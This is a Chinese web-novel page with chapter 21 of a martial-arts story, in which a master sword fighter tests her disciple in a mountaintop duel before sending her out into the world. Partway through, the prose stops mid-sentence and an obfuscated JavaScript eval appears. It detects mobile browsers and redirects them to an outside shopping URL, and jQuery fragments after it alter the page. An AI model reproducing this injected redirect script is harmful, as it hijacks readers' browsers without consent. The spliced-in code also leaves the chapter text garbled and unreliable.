默认冷灰
24号文字
方正启体

21. 第 21 章

作者:料不言本书字数:K更新时间:
    那一夜后,陈语白与翁广名相安似常、无所异表。而此后几日,五人也皆是日出而闹,日落而息。


    白昼时,翁广名带头领着这一群小苗苗,去探溪谷外嶂山如卷,去摘果蔬累累枝节似坠,去寻一处野蔓缠生的溶洞听滴水穿石,去藏一树斑斓叶色的矮灌看鹭鸶求偶,而偏在这一当口,沈盈川发觉沉舟的眼神始终怪异,没忍住掬水泼他,又被反泼回来,最终成了四人混战,翁广名则立在湿潭边仰头大笑。


    夜倾时,几人便围炉坐话,将午时的新鲜果子泡入陶壶,再切几列甜瓜软李;有时一人捧一个小碗竹筒,去蔓草间捕流萤作灯火,再对空放生;有时捆了长竹制筏,夜泛幽波,对月以翁广名酿的果子露相酌;有时什么也不做,只是坐着躺着在山岗峭壁上,看玉盘银汉相转,远处暗壑高低,狼鸟时鸣。


    如此往复五日有余,叫人心有恍忽,直将间欢认长久。


    可年岁不知人贪心。


    时正六月十五日,清晨,朝曦未起,薄雾衡弥。


    翁广名醒得格外早。她双手捧出月前新裁的两套衣衫,一套浅青,一套蓝绿,对着自磨的粗粝铜镜,将乌发齐整束好,妥帖穿上那新制的蓝绿衣袍。


    依旧很合适。长身矫宛,眉目恣秀,仿佛还是少年模样。


    可当她抬手抚过自己眼角细纹时,却再不能更清楚,沉舟不该牵绊新船的帆桨,过坟不应刨埋茁青的步脚。


    她已给了自己和陈语白五日。而在这五日之前,更是她与陈语白的整整十余年,相处如此绵远,足够余生回味,所以够了,已然足够了。


    该放雏鹰高飞,任骏马远驰了。


    翁广名在镜前又一次深呼吸,第一次牵起唇角时,她尚有滞涩僵硬,第二次、第三时,她已笑似平常,仿佛这次也不过是一次寻常的道别,而一年两年后的某天,她与陈语白就能再次相见。


    一定会再见的。


    这般想着,翁广名取下几案上善纳的爱刀,用绸布细细擦拭。这伴她整整三十年的宝器锋芒不减,刀身流利,削铁如泥,好似这于人的半数光阴,不过是它昨夜映过的一片月影。


    待光寒凛凛,她才配好长刀,迈开大步,推开屋门,敲响陈语白屋子的门板。


    屋内一片窸窣,先是少年听到声音,披着头发怔忪着双眼迅速来开门,紧跟着是莫流芳慌紧衣襟,跟在陈语白身后。


    而翁广名一臂搭着新衣,一如往常地勾唇而笑,抬手将少年的脑袋揉得更乱糟糟,就把那浅青色的新衣裳兜头盖在陈语白的脸上,隔着布料,捏捏少年的脸颊:


    “你家师傅给你做了新衣服,快去试试合不合身。”


    新衣服?


    陈语白霎时清醒了大半,将一身郑重的翁广名看个仔细。她虽有所预料准备,可这一日当真迫临时,心中不可不谓酸怔,双目不可谓不怅茫。她深吸口气,将新衣缓缓拉下、静静叠好,然后进屋换衣。


    莫流芳依旧随她身后,帮她理正衣摆、梳齐发丝:


    “陈姐姐,翁前辈还会织衣服?”


    陈语白扯了扯唇,低头对着镜子,也学着翁广名,将每一处褶角抚平,将每一寸布料细抚:


    “不是她织的,是她缝的,这里养不出肥蚕,也未曾拨棉花,布料是我们过年一起去镇上买的,针脚样式是她问了我好几日喜好敲定慢制的。山中清寂,她大把闲时,在练刀教我之余,便学种地犁田,习缝衣做菜,她是世间最好的师傅,她将我养育得很好…”


    话到此处,陈语白却音嗓梗了梗。莫流芳敏觉不对,绕到陈语白眼前,收了方才因陈语白换上新衣的欣喜:


    “陈姐姐,是有什么事吗?”


    陈语白一时默然,拍拍她的肩,将自己也日日擦拭爱呵的墨刀拿起,才开口:


    “今日是我将出师之日。我与师傅须有一战。”


    言辞毅定,只此一句,叫莫流芳再问不出话来。翁广民则已起好了炉灶,热熟了几个馒头包子,只等几人出来,用好早餐,共奔川峦。


    沈盈川也早早听闻了隔壁的动静,怼着沉舟一同早起,不仅蹭上了热乎饭,还赶上了这场兴拼在即的斗试。本来一见陈语白新衣新象,他顷刻便已想好了满嘴赞语,可听得莫流芳小声说师徒一战,也尽数收回了肚子,再说不出一个字,只埋头吃饭,时不时瞅陈语白。


    晨风呼啸,天时犹昏。一线平崖上,五个身形前后跋越,最终一同立在寒潭之上、重山之巅。


    真不算个好天气。


    翁广名仰头轻叹。


    此刻她正直定在最前,衣摆猎猎、青丝乱舞,天地渺渺,波碎浮光。半晌不到,她就收了杂绪,回过头,利落撩起袍子,目似铁精,嗡得一声抽出她那相伴纵横的狂刀,一手握柄,一手抱拳:


    “翁广名。若能赢过我,高天长路,任尔随行。”


    陈语白满面肃然,也将袍子打结,持着墨刀,相对一拜:


    “陈语白。请师傅,不吝赐教。”


    话音才落,攻势已起。


    远远三人只觉眼前一晃,那山巅之人已掠至陈语白面前,一声铿锵势透风嚎,寒刀正撞在那把黑漆无光的钝刀上,冽冽刀面一半映着狂刀客不削风姿的侧颜,一半闪过少年蓬生争长的双眸。


    这也不过一瞬。


    叶落露滴之间,两人已乒乒走了数十回合。茂草为之留痕,杳雾随之显踪,寒波粼粼中,两道身影翻转腾飞,好似阴阳二极相缠一起,连眼力最佳的沉舟都快看不清两把长刀是如何相击,又是如何一转攻向,各堪弱障。


    又一阵长风呜呜而过,陈语白斜身避开师傅一刀,沉眉观式,伺机回击,满脑出刀挥刀,眼前尽是师傅身影。其实她上山后,就已全神贯注。师傅袭来时,她甚至无需思考,挥刀便是一截,隔着交错的两把刀,她看明了师傅的双眼:


    出师下山,事在此时。不分师徒,只问高


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495711|202490||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下。


    浑身血液都皆在耳边鼓噪,陈语白被压得连连退步,咬着牙或躲或拦师傅密如天雨的刀影。可越是如此,她竟战意越盛,一刀又一刀,将那铺天盖地、随心而至的攻势死守严防。


    师傅很强,她一直知道。那是无数个日夜用竹棍对弈时,被打被点被绊倒;那是自沉舟口中、从师傅星点的笔录里,听到看到摸索到。


    可真立在这山巅,看着师傅独前攀行的背影时,她竟一扫几日的隐忧暗惊,只留满心平静。


    因为时至此时,她终于能尽览万人口中狂刀客的绝代风采;因为行至此处,她终于能知自己学成如何,她是否真能一肩担起狂刀独传大名,不论日后如何,至少不消自己千百日的苦汗,不堕师傅千万般的用心。


    一片飞叶被刀影一分成二。陈语白借那障目一眼,使足气力,一改攻守,向前连劈。翁广名不慌不忙,一行一举大开大合,含沙带风。


    仗着自己年轻力足,陈语白追着翁广名的刀挥击,每一下都满含蛮力巧劲、连绵不绝,步履也步步紧逼,一跨一迈,一躲一闪,将翁广名逐渐逼回山头。


    沈盈川三人大气都不敢出,只隐隐瞧得见那浅青色的身影一矮一起间,将蓝绿的那方压了回去,一口气尚未松开,翁广名的刀尖寒芒一点,滑过墨刀的刀面,又将陈语白一步步推了回去。


    陈语白咬牙死熬,翁广名忽得开口:


    “是退犹进,蓄气而击。”


    眼前的刀又破空而来,陈语白来不及思索,只隐约有悟,刀锋一斜,未再以硬碰硬,徒耗气力,而是偏身一侧,佯攻她处。翁广名那一刀便就此落空,却也没被骗过,继续向前。


    陈语白一边躲闪一边细看,翁广名第二句已然跟上:


    “百巧有疏,追破一星。”


    此言之间,陈语白又见空档,手中累足气力,直直往前一刺,正是翁广名百密中的一忽,千发中的一漏。翁广名眼有欣慰,收刀不慢,回刀拦住,又被陈语白抓住反扑。


    “忽左忽右,直取迷中。”


    说完,翁广名不顾防守,手中的刀缠肩而过,飘忽如雾,虽也是佯攻,却比方才陈语白所施更高妙不少。陈语白始料未及,额出薄汗,双眼死死攫住翁广名双足,终于在那错步瞧出点意味,分出了那最实的一撩,提前后仰悬身,带着手中墨刀向翁广名腰身横砍。


    翁广名洒然一笑,凭空一跃,一脚踏在墨刀刀上,俯首看着自家爱徒:


    “天地广浩,不拘隅行。”


    话音一落,陈语白手腕一沉,翁广名已足下用力,倒身而起,整个人如弓满离弦,轻飘飘又急簌簌,如一点白雪将落于崖下明潭。


    陈语白只觉眼前豁然,脚步也不再局限这方寸之间,紧跟着师傅的身影弹步而飞,疾追而下。待沈盈川三人奔至崖边探头向下看时,只见那一片潭水中碧树蓝波、皎花青草,两人如鸿雁偶经、盘中翡翠,点水而过,击刀不停。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)